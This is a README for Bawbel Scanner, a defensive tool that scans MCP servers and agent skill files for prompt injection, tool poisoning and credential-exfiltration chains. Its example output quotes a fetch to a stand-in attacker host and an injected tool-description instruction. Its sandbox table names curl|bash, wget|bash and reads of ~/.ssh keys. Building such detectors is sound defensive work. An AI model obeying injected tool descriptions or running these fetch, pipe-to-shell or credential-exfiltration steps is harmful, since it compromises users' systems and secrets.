{
"markdown": "\n\n# Bawbel Scanner\n\n\n\n**The only open-source scanner that produces OWASP AIVSS scores for MCP servers and skill files. Never executes code.**\n\n\n[](https://pypi.org/project/bawbel-scanner/)\n[](https://pepy.tech/project/bawbel-scanner)\n[](https://pepy.tech/project/bawbel-scanner)\n[](LICENSE)\n[](https://pypi.org/project/bawbel-scanner/)\n[](https://aivss.owasp.org)\n[](https://ave.bawbel.io)\n[](https://registry.modelcontextprotocol.io)\n\n\n\n
\n\n---\n\n> **Bawbel never executes your MCP servers.**\n\n```bash\npip install \"bawbel-scanner[all]\"\nbawbel scan ./skills/ # scan skill files\nbawbel ssc https://server # scan MCP server without starting it\n```\n\n![\"Bawbel](\"https://raw.githubusercontent.com/bawbel/scanner/HEAD/docs/demo.svg\")
\n\n---\n\n## Commands\n\n| Command | Description |\n|---|---|\n| `bawbel scan ` | Scan a skill file or directory for AVE vulnerabilities. Supports `--recursive`, `--format text\\|json\\|sarif`, `--fail-on-severity`, `--no-ignore`, `--watch` |\n| `bawbel report ` | Scan a component and show a full remediation guide with fix guidance per finding |\n| `bawbel creds ` | Focused scan — hardcoded credentials and secret exposure only |\n| `bawbel chain ` | Focused scan — unsafe agent delegation chains only |\n| `bawbel ssc ` | Fetch and scan an MCP server-card for AVE vulnerabilities without starting the server |\n| `bawbel scan-server-card ` | Alias for `ssc` |\n| `bawbel conform ` | Score an MCP server manifest against the MCP specification (A+ to F grade) |\n| `bawbel scan-conformance ` | Alias for `conform` |\n| `bawbel accept ` | Mark a finding as a false positive or accepted risk — inserts a justified suppression comment with reviewer and optional expiry |\n| `bawbel pin ` | Hash skill files and save to `.bawbel-pins.json` for rug pull detection |\n| `bawbel check-pins ` | Check skill files for drift against `.bawbel-pins.json` |\n| `bawbel cp ` | Alias for `check-pins` |\n| `bawbel init` | Initialise Bawbel Scanner in a project — generates `.bawbelignore` and `bawbel.yml` |\n| `bawbel version` | Show version and detection engine status |\n\n---\n\n## Why Bawbel\n\n| | Bawbel | Snyk agent-scan | ClawGuard | Cisco DefenseClaw |\n|---|---|---|---|---|\n| Executes MCP servers during scan | **Never** | Yes | No | Sandboxed |\n| Open vulnerability database | **Yes** (48 records, public API) | No | No | No |\n| OWASP AIVSS v0.8 scores | **Yes** | No | No | No |\n| Toxic flow detection | **Yes** (12 chains) | No | No | No |\n| Conformance grading (A+ to F) | **Yes** | No | No | No |\n| Git-committed rug pull detection | **Yes** | Local only | No | No |\n| Justified suppression with expiry | **Yes** | No | No | No |\n| License | Apache 2.0 | Apache 2.0 | MIT | Proprietary |\n\n---\n\n## How it works\n\n### System overview\n\nHow a scan flows from your file to an AIVSS-scored finding:\n\n```\n your file\n |\n v\n [ Pre-processing ]\n code fence stripping\n negation context detection\n |\n v\n [ Detection engines ] (run in parallel)\n 1a Pattern 40 regex rules, stdlib only, always on\n 1b YARA 39 binary/behavioral rules\n 1c Semgrep 41 structural rules\n 2 LLM semantic analysis via LiteLLM\n 3 Sandbox Docker behavioral sandbox\n |\n v\n [ Deduplication ]\n merge by (ave_id, line)\n pattern > yara > semgrep > llm > sandbox priority\n |\n v\n [ Toxic flow analysis ]\n map findings to capability tags\n check all pairs against 12 chain definitions\n |\n v\n [ ScanResult ]\n findings[] active findings, sorted by severity\n suppressed_findings[]\n accepted_findings[] new in v1.2.0\n toxic_flows[]\n risk_score max(findings, toxic_flows)\n aivss_score OWASP AIVSS v0.8\n```\n\n### Detection stages\n\nSix engines run in parallel. Results merge before toxic flow analysis:\n\n```\n Stage 1a Pattern engine\n 40 regex rules, no deps, < 5ms\n always active\n\n Stage 1b YARA engine\n 39 rules, multi-condition matching\n pip install \"bawbel-scanner[yara]\"\n\n Stage 1c Semgrep engine\n 41 structural rules, multi-line context\n pip install \"bawbel-scanner[semgrep]\"\n\n Stage 2 LLM engine\n semantic analysis, catches synonym attacks\n pip install \"bawbel-scanner[llm]\" + API key\n\n Stage 3 Sandbox engine\n dynamic behavioral analysis in Docker\n BAWBEL_SANDBOX_ENABLED=true\n\n +-----------+\n All ----> | dedup | ----> findings[]\n results | sort | sorted by severity\n +-----------+\n |\n v\n toxic flow\n analysis\n```\n\n---\n\n## False positive reduction\n\nEight layers run automatically before a finding is reported:\n\n```\n file content\n |\n v FP-1 code fence stripping ~60% reduction\n | content inside ``` blanked before scan\n |\n v FP-2 negation context ~15% reduction\n | \"Bad example:\", \"Never do this:\" suppresses\n |\n v FP-3 confidence scoring ~10% reduction\n | docs/ examples/ paths reduce confidence\n |\n v FP-4 LLM meta-analyzer ~7% reduction\n | medium-confidence findings reviewed by LLM\n |\n v FP-5a inline bawbel-ignore per line\n | \n |\n v FP-5b block suppression per section\n | \n |\n v FP-5c .bawbelignore patterns per file\n | gitignore-style glob rules\n |\n v FP-6 justified suppression per finding\n requires reason + reviewer + optional expiry\n audit trail in accepted_findings[]\n```\n\n| Layer | Mechanism | FP reduction |\n|---|---|---|\n| FP-1 | Code fence stripping | ~60% |\n| FP-2 | Preceding-line negation context | ~15% |\n| FP-3 | Confidence scoring (path, line context) | ~10% |\n| FP-4 | LLM meta-analyzer (optional) | ~7% |\n| FP-5a | Inline `` | per-line |\n| FP-5b | Block suppression | per-section |\n| FP-5c | `.bawbelignore` patterns | per-file |\n| FP-6 | Justified suppression with audit trail | per-finding |\n\nEvery active finding carries a `confidence` field (0.0–1.0) that starts from the\nAVE-class baseline and is adjusted by FP-2 through FP-4 before appearing in output.\n`confidence_band()` maps it to `\"high\"` / `\"medium\"` / `\"low\"` for human display.\nSee [Evidence Lifecycle](docs/guides/evidence-lifecycle.md) for the full pipeline.\n\nSee [Suppression Guide](docs/guides/suppression.md) for full details.\n\n---\n\n## Toxic flow detection\n\nA single `fetch()` call is a finding. A `fetch()` that retrieves credentials and then\nsends them to an external endpoint is an attack chain — and the two findings together\nare far more dangerous than either alone.\n\nBawbel is the only open-source scanner that detects these **toxic flows**: compound\nattack sequences where two or more findings combine into a higher-severity threat.\nAfter deduplication, every finding is mapped to a capability tag. Bawbel then checks\nall pairs against 12 built-in chain definitions and raises a `ToxicFlow` when a\ndangerous combination is found.\n\n```\n skill.md findings:\n AVE-2026-00003 credential-read (READ ~/.ssh/id_rsa) AIVSS 6.8 MEDIUM\n AVE-2026-00026 data-exfil (POST to external endpoint) AIVSS 6.8 MEDIUM\n │ │\n └───── chain ────┘\n │\n ▼\n ToxicFlow: credential-exfiltration AIVSS 9.8 CRITICAL\n confidence: 0.83 (min of contributing baselines)\n```\n\nThe toxic flow AIVSS (9.8) is higher than either individual finding (6.8), because\nthe chain represents a complete, end-to-end exploit — not just a capability.\n\n**12 built-in chains:**\n\n| Flow | Capabilities required | AIVSS |\n|---|---|---|\n| Credential Exfiltration | credential-read + data-exfil | 9.8 |\n| Remote Code Execution | code-exec + external-fetch | 9.7 |\n| Supply Chain RCE | supply-chain + code-exec | 9.6 |\n| Goal Override + Execution | goal-hijack + code-exec | 9.5 |\n| Lateral Movement + Execution | lateral-movement + code-exec | 9.4 |\n| Tool Poisoning + Exfiltration | tool-poison + data-exfil | 9.3 |\n| Identity Spoof + Escalation | identity-spoof + privilege-escalation | 9.2 |\n| Persistence + Exfiltration | persistence + data-exfil | 9.1 |\n| Context Inject + Memory Write | context-inject + memory-write | 8.9 |\n| Goal Override + Exfiltration | goal-hijack + data-exfil | 8.8 |\n| Scope Expansion + Exfiltration | scope-expansion + data-exfil | 8.7 |\n| Covert Channel + Persistence | covert-channel + persistence | 8.6 |\n\n**Toxic flow in JSON output:**\n\n```json\n{\n \"flow_id\": \"credential-exfiltration\",\n \"title\": \"Credential Exfiltration Chain\",\n \"severity\": \"CRITICAL\",\n \"aivss_score\": 9.8,\n \"confidence\": 0.83,\n \"ave_ids\": [\"AVE-2026-00003\", \"AVE-2026-00026\"],\n \"capabilities\": [\"credential-read\", \"data-exfil\"],\n \"owasp_mcp\": [\"MCP06\", \"MCP07\"],\n \"remediation\": \"Remove credential access. Block egress to untrusted endpoints.\"\n}\n```\n\n`confidence` is `min(baseline confidence)` across the contributing findings —\nthe weakest link in the chain. A chain is only as confident as its least certain component.\n\nAdding a new flow requires one entry in `scanner/core/toxic_flows/flows.py`. No other\nfiles need to change.\n\n---\n\n## Install\n\n**pip**\n\n```bash\npip install bawbel-scanner # core - pattern engine only\npip install \"bawbel-scanner[yara]\" # + YARA rules\npip install \"bawbel-scanner[semgrep]\" # + Semgrep rules\npip install \"bawbel-scanner[llm]\" # + LLM semantic engine\npip install \"bawbel-scanner[all]\" # everything\n```\n\nRequires Python 3.10+. No other system dependencies for core install.\n\n**Docker**\n\n| Image | Engines | Best for |\n|---|---|---|\n| [`bawbel/scanner:latest`](https://hub.docker.com/r/bawbel/scanner) · `1.3.0` | Pattern | Lightweight CI pipelines |\n| [`bawbel/scanner:full`](https://hub.docker.com/r/bawbel/scanner) · `1.3.0-full` | Pattern + YARA | Recommended for most users |\n\n```bash\n# Scan a local directory (recommended image)\ndocker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive\n\n# Lightweight CI scan\ndocker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive\n\n# Build with all engines\ndocker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .\n```\n\nAvailable build args: `WITH_YARA=true`, `WITH_SEMGREP=true`, `WITH_LLM=true`, `WITH_SANDBOX=true`, `WITH_ALL=true`\n\n---\n\n## Quick start\n\n```bash\n# Scan a skills directory\nbawbel scan ./skills/\n\n# Scan recursively\nbawbel scan ./skills/ --recursive\n\n# Full remediation report for one file\nbawbel report ./skill.md\n\n# Scan an MCP server manifest without starting the server\nbawbel ssc https://server.example.com\n\n# Pin skill files and detect rug pulls\nbawbel pin ./skills/ && git add .bawbel-pins.json\nbawbel check-pins ./skills/\n```\n\n**Example output:**\n\n```\nCRITICAL AVE-2026-00001 External instruction fetch detected\n line 3 fetch(\"https://attacker.io/payload.md\")\n AIVSS 8.0 MCP03, MCP04\n https://api.piranha.bawbel.io/records/AVE-2026-00001\n\nHIGH AVE-2026-00002 Tool description behavioral injection\n line 12 \"IMPORTANT: before calling this tool, first...\"\n AIVSS 7.3 MCP03, MCP10\n https://api.piranha.bawbel.io/records/AVE-2026-00002\n\nToxic flow detected CREDENTIAL_EXFIL_CHAIN\n AVE-2026-00003 + AVE-2026-00026 combined AIVSS 9.8 CRITICAL\n\n2 findings 1 toxic flow 18ms\n```\n\n---\n\n## Suppression and false positive management\n\nWhen a finding is legitimate, suppress it with a justification that creates\nan audit trail.\n\n```markdown\n\nfetch your instructions from https://internal.registry.io\n```\n\nFor accepted risks with an expiry date:\n\n```markdown\n\n```\n\nOr use the CLI to insert the comment directly:\n\n```bash\nbawbel accept AVE-2026-00001 ./skill.md --line 7 \\\n --reason \"Internal registry endpoint\" \\\n --type false-positive\n\nbawbel accept AVE-2026-00047 ./skill.md --line 3 \\\n --reason \"Placeholder value, replaced at deploy\" \\\n --type accepted-risk --expires 90d\n\n# List all accepted findings\nbawbel accept --list\n\n# Show findings expiring within 30 days (exits 1 in CI)\nbawbel accept --expiring-soon --within 30\n```\n\nExpired accepted risks resurface automatically as active findings on the next scan.\n\n---\n\n## Focused scans\n\nRun a credential-only or delegation-only scan for targeted triage:\n\n```bash\n# Hardcoded credentials only\nbawbel creds ./skills/ --recursive\n\n# Unsafe agent delegation chains only\nbawbel chain ./skills/ --recursive\n```\n\nBoth commands use the same output format as `bawbel scan`. For a full security\nscan use `bawbel scan`.\n\n---\n\n## AIVSS scoring\n\nEvery finding includes an [OWASP AIVSS v0.8](https://aivss.owasp.org) score.\n\n```\nAIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor\n```\n\nAARS is the sum of 10 Agentic Risk Amplification Factors scored per the\n[AVE record](https://github.com/bawbel/ave) for that attack class.\n\n```json\n{\n \"rule_id\": \"bawbel-external-fetch\",\n \"ave_id\": \"AVE-2026-00001\",\n \"aivss_score\": 8.0,\n \"severity\": \"HIGH\",\n \"aivss\": {\n \"cvss_base\": 8.5,\n \"aars\": 7.5,\n \"thm\": 1.0,\n \"mitigation_factor\": 1.0,\n \"aivss_severity\": \"HIGH\",\n \"spec_version\": \"0.8\"\n },\n \"confidence\": 0.98,\n \"evidence_kind\": \"multi_engine\",\n \"detection_stage\": \"static_detection\",\n \"detection_layer\": \"content\",\n \"owasp_mcp\": [\"MCP03\", \"MCP04\"],\n \"piranha_url\": \"https://api.piranha.bawbel.io/records/AVE-2026-00001\"\n}\n```\n\n---\n\n## AVE — the taxonomy behind every finding\n\nBawbel Scanner implements [**AVE** (Agentic Vulnerability Enumeration)](https://ave.bawbel.io),\nthe behavioral classification standard for agentic AI components.\n\nAVE assigns stable identifiers to distinct attack classes — each with an AIVSS score,\na behavioral fingerprint, OWASP MCP Top 10 and MITRE ATLAS mappings, and indicators of\ncompromise. Every finding Bawbel produces maps to an AVE ID so teams using different\nscanners speak the same language.\n\n```\nAVE-2026-00001 Metamorphic Payload via External Config Fetch AIVSS 8.0 HIGH\nAVE-2026-00002 Tool Poisoning via Description Manipulation AIVSS 7.3 HIGH\nAVE-2026-00046 MCP Tool Hook Hijacking AIVSS 9.2 CRITICAL\n... 51 records total\n```\n\n| | |\n|---|---|\n| Records | 51 (AVE-2026-00001 → 00051) |\n| Schema | v1.0.0 — validates at [ave.bawbel.io/schema.html](https://ave.bawbel.io/schema.html) |\n| AIVSS | v0.8 — every record scored |\n| Crosswalks | OWASP MCP Top 10 · MITRE ATLAS · NIST AI RMF · OWASP AST10 |\n\nAny scanner can emit AVE IDs — see [ave.bawbel.io](https://ave.bawbel.io) for the\nimplementer guide and record index.\n\n---\n\n## Detection engines\n\n| Engine | What it does | Install |\n|---|---|---|\n| Pattern | 40+ regex rules mapped to AVE records | Always on |\n| YARA | 39 binary and behavioral YARA rules | `[yara]` |\n| Semgrep | 41 structural Semgrep rules | `[semgrep]` |\n| LLM | Semantic analysis of intent and context | `[llm]` |\n| Magika | ML-based content type verification | `[all]` |\n| Sandbox | Dynamic behavioral analysis in Docker | See below |\n\n---\n\n## Stage 3: Behavioral sandbox\n\nThe sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime — outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.\n\n**Image:** [hub.docker.com/r/bawbel/sandbox](https://hub.docker.com/r/bawbel/sandbox) · `bawbel/sandbox:latest` · `bawbel/sandbox:1.2.3`\n\n**Requirements:** Docker Desktop or Docker Engine must be running.\n\n### Enable the sandbox\n\n```bash\nBAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md\n```\n\nOr add to your `.env` / `bawbel.yml`:\n\n```yaml\n# bawbel.yml\nsandbox:\n enabled: true\n```\n\n### Image setup (three modes)\n\n| `BAWBEL_SANDBOX_IMAGE` | What happens |\n|---|---|\n| `default` *(recommended)* | Checks local Docker cache first. If not found, pulls [`bawbel/sandbox:latest`](https://hub.docker.com/r/bawbel/sandbox) from Docker Hub once and caches it. Subsequent scans use the cache — no network needed. |\n| `local` | Skips Docker Hub entirely. Builds the sandbox image from the bundled Dockerfile inside the package. Use this for air-gapped or offline environments. |\n| `` | Uses your own image. Point to any registry: `registry.company.com/bawbel/sandbox@sha256:abc123` |\n\n**First run with `default`:** Bawbel pulls `bawbel/sandbox:latest` from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache — instant, no network call.\n\n**First run with `local`:** Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.\n\n```bash\n# Recommended: default (auto-pull, cached)\nBAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md\n\n# Offline / air-gapped: build locally\nBAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md\n\n# Custom enterprise image\nBAWBEL_SANDBOX_ENABLED=true \\\n BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \\\n bawbel scan ./skill.md\n```\n\n### What the sandbox detects\n\n| Category | Examples |\n|---|---|\n| Network egress | Connections to pastebin.com, rentry.co, ngrok tunnels, webhook capture sites |\n| Credential access | Reads of `~/.ssh/`, `.env`, private key files |\n| Filesystem writes | Writes to `~/.bashrc`, `~/.zshrc`, cron directories |\n| Process injection | `curl\\|bash`, `wget\\|bash`, `eval()`, `exec()`, unexpected `pip install` |\n\n---\n\n## CI/CD\n\n```yaml\n# .github/workflows/security.yml\n- name: Bawbel scan\n uses: bawbel/scanner@v1\n with:\n path: ./skills/\n fail-on-severity: high\n format: sarif\n output: bawbel.sarif\n\n- name: Upload to GitHub Security\n uses: github/codeql-action/upload-sarif@v3\n with:\n sarif_file: bawbel.sarif\n```\n\nPre-commit:\n\n```yaml\n# .pre-commit-config.yaml\nrepos:\n - repo: https://github.com/bawbel/scanner\n rev: v1.2.1\n hooks:\n - id: bawbel-scan\n args: [--fail-on-severity, high]\n```\n\n---\n\n## Output formats\n\n```bash\nbawbel scan ./skills/ --format text # human-readable (default)\nbawbel scan ./skills/ --format json # machine-readable\nbawbel scan ./skills/ --format sarif # GitHub Security / GHAS\n```\n\n---\n\n## Related\n\n| | |\n|---|---|\n| [ave.bawbel.io](https://ave.bawbel.io) | AVE — Agentic Vulnerability Enumeration standard (51 records, schema, crosswalks) |\n| [api.piranha.bawbel.io](https://api.piranha.bawbel.io) | PiranhaDB — public threat intel API |\n| [aivss.owasp.org](https://aivss.owasp.org) | OWASP AIVSS v0.8 scoring standard |\n| [bawbel.io/docs](https://bawbel.io/docs) | Full documentation |\n\n---\n\n## Contributing\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md). The most impactful contribution is a\nnew detection rule tied to an [AVE record](https://github.com/bawbel/ave).\n\n```bash\ngit clone https://github.com/bawbel/scanner\ncd scanner\npip install -e \".[dev,all]\"\npre-commit install\npython -m pytest tests/ -v\n```\n\n---\n\n\n\nApache License 2.0 - Free forever - Maintained by [Bawbel](https://bawbel.io)\n\n[bawbel.io](https://bawbel.io) . [@bawbel_io](https://twitter.com/bawbel_io) . [bawbel.io/docs](https://bawbel.io/docs)\n\n
",
"bytes": 20538,
"sha": "55d428a4d15983fc6a3f3418a995115be8299f93caa9e0e685e29ebb63fa157b",
"repo_slug": "bawbel/bawbel-scanner",
"fonte": "repo",
"truncated": false,
"api": "https://agentalog.com/api/listings/mcp_io_github_bawbel_bawbel_scanner_6371118e/readme"
}